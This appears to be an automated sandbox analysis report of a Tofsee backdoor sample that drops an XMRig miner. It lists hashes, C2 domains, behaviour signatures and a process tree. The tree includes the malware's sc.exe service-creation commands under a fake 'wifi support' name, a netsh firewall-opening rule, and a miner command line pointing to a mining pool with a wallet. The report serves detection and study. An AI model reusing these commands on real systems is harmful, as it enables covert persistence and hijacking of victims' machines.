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Analysis

  • max time kernel
    167s
  • max time network
    190s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    13/10/2023, 21:34

General

  • Target

    9ca53afc226509ab5c17f883b2ec241126fc95b131910c4202a2c5b084336fa7_JC.exe

  • Size

    197KB

  • MD5

    3a2a650e38e091c0f21e8fb091e60451

  • SHA1

    284cf3e757a82b0feb43ad691a1efbfde7171193

  • SHA256

    9ca53afc226509ab5c17f883b2ec241126fc95b131910c4202a2c5b084336fa7

  • SHA512

    4d8fb291c9518f67dad7582898d55830933e04204fc622a9df326af572eb58fdefdb8bf42906d95f8173fd47af4f6eb35e2866555db9a320ee9b86365aba324a

  • SSDEEP

    3072:bvDSLXr5TXHwa5yak5qVmnBczE2QwWgxp9f45K6cLTfN49Q:XSL7Nga5yXdBSEbpgxzHHLTV4i

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 5 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9ca53afc226509ab5c17f883b2ec241126fc95b131910c4202a2c5b084336fa7_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\9ca53afc226509ab5c17f883b2ec241126fc95b131910c4202a2c5b084336fa7_JC.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tnieenap\
      2⤵
        PID:2744
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\frhuihzd.exe" C:\Windows\SysWOW64\tnieenap\
        2⤵
          PID:1212
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tnieenap binPath= "C:\Windows\SysWOW64\tnieenap\frhuihzd.exe /d\"C:\Users\Admin\AppData\Local\Temp\9ca53afc226509ab5c17f883b2ec241126fc95b131910c4202a2c5b084336fa7_JC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2536
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tnieenap "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tnieenap
          2⤵
          • Launches sc.exe
          PID:2700
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2568
      • C:\Windows\SysWOW64\tnieenap\frhuihzd.exe
        C:\Windows\SysWOW64\tnieenap\frhuihzd.exe /d"C:\Users\Admin\AppData\Local\Temp\9ca53afc226509ab5c17f883b2ec241126fc95b131910c4202a2c5b084336fa7_JC.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:536
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2908
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2100

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\frhuihzd.exe

        Filesize

        13.7MB

        MD5

        16e682a7655ad1a46314cdad404d0ce8

        SHA1

        080e743617e90006a90d87e91e21a33978d75d61

        SHA256

        9608331e962d9d57a99d0a96a1d012ef2c4d2e793dc61b60ac5d67b291ab4251

        SHA512

        f1300b52efacfb55c8ca100dcaa40951f2b426ba91f5ea5a9013c39d905e5dbba14c271551836e19a87e9de3a1fa17fdf130d058298cdc760616376c58783c5a

      • C:\Windows\SysWOW64\tnieenap\frhuihzd.exe

        Filesize

        13.7MB

        MD5

        16e682a7655ad1a46314cdad404d0ce8

        SHA1

        080e743617e90006a90d87e91e21a33978d75d61

        SHA256

        9608331e962d9d57a99d0a96a1d012ef2c4d2e793dc61b60ac5d67b291ab4251

        SHA512

        f1300b52efacfb55c8ca100dcaa40951f2b426ba91f5ea5a9013c39d905e5dbba14c271551836e19a87e9de3a1fa17fdf130d058298cdc760616376c58783c5a

      • memory/536-17-0x0000000000400000-0x0000000000480000-memory.dmp

        Filesize

        512KB

      • memory/536-12-0x0000000000400000-0x0000000000480000-memory.dmp

        Filesize

        512KB

      • memory/1200-4-0x00000000003A0000-0x00000000003B5000-memory.dmp

        Filesize

        84KB

      • memory/1200-1-0x00000000003C0000-0x00000000003D3000-memory.dmp

        Filesize

        76KB

      • memory/1200-6-0x0000000000400000-0x0000000000480000-memory.dmp

        Filesize

        512KB

      • memory/1200-7-0x00000000003C0000-0x00000000003D3000-memory.dmp

        Filesize

        76KB

      • memory/1200-2-0x0000000000400000-0x0000000000480000-memory.dmp

        Filesize

        512KB

      • memory/1200-10-0x0000000000400000-0x0000000000480000-memory.dmp

        Filesize

        512KB

      • memory/1200-0-0x00000000003A0000-0x00000000003B5000-memory.dmp

        Filesize

        84KB

      • memory/2100-75-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2100-72-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2100-74-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2100-73-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2100-64-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2100-62-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2908-36-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-46-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-27-0x0000000001950000-0x0000000001B5F000-memory.dmp

        Filesize

        2.1MB

      • memory/2908-28-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/2908-31-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-34-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-35-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2908-37-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-38-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-39-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-40-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-41-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-42-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-43-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-44-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-45-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-24-0x0000000001950000-0x0000000001B5F000-memory.dmp

        Filesize

        2.1MB

      • memory/2908-47-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-48-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-49-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-50-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2908-51-0x0000000000130000-0x0000000000135000-memory.dmp

        Filesize

        20KB

      • memory/2908-54-0x0000000000130000-0x0000000000135000-memory.dmp

        Filesize

        20KB

      • memory/2908-55-0x0000000005540000-0x000000000594B000-memory.dmp

        Filesize

        4.0MB

      • memory/2908-58-0x0000000005540000-0x000000000594B000-memory.dmp

        Filesize

        4.0MB

      • memory/2908-59-0x00000000001E0000-0x00000000001E7000-memory.dmp

        Filesize

        28KB

      • memory/2908-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2908-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2908-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2908-16-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2908-14-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2908-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB